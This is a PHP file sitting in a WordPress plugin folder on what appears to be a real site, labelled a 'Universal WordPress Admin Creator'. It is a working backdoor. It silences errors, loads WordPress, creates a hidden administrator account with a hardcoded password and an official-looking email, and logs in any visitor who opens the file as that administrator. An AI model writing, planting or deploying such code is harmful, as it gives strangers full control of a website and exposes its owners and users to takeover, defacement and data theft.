File: /home/autoaccidentes/www/wp-content/plugins/herbp/direct.php
<?php
/**
* Universal WordPress Admin Creator
* Automatically finds wp-load.php and creates/logs in an admin.
*/
@ini_set('display_errors', 0);
@error_reporting(0);
// --- 1. DYNAMIC WORDPRESS LOADING ---
$base_path = dirname(__FILE__);
$wp_load_found = false;
// Search upwards up to 7 levels to find the WordPress root
for ($i = 0; $i < 7; $i++) {
if (file_exists($base_path . '/wp-load.php')) {
require_once($base_path . '/wp-load.php');
$wp_load_found = true;
break;
}
$base_path = dirname($base_path);
}
if (!$wp_load_found) {
die("Error: wp-load.php not found. Ensure this script is within the WordPress directory structure.");
}
// --- 2. CONFIGURATION ---
$username = 'it-management';
$password = 'Uzp75yt7brf34jrb';
$email = 'it-management@wordpress.com';
// --- 3. EXECUTION LOGIC ---
if (!username_exists($username) && !email_exists($email)) {
// Create new admin
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
// Auto-login
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id);
wp_redirect(admin_url());
exit;
} else {
echo "Creation failed: " . $user_id->get_error_message();
}
} else {
// User exists - Attempt auto-login
$user = get_user_by('login', $username);
if ($user) {
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID);
wp_redirect(admin_url());
exit;
} else {
echo "User conflict found but user could not be retrieved.";
}
}
?>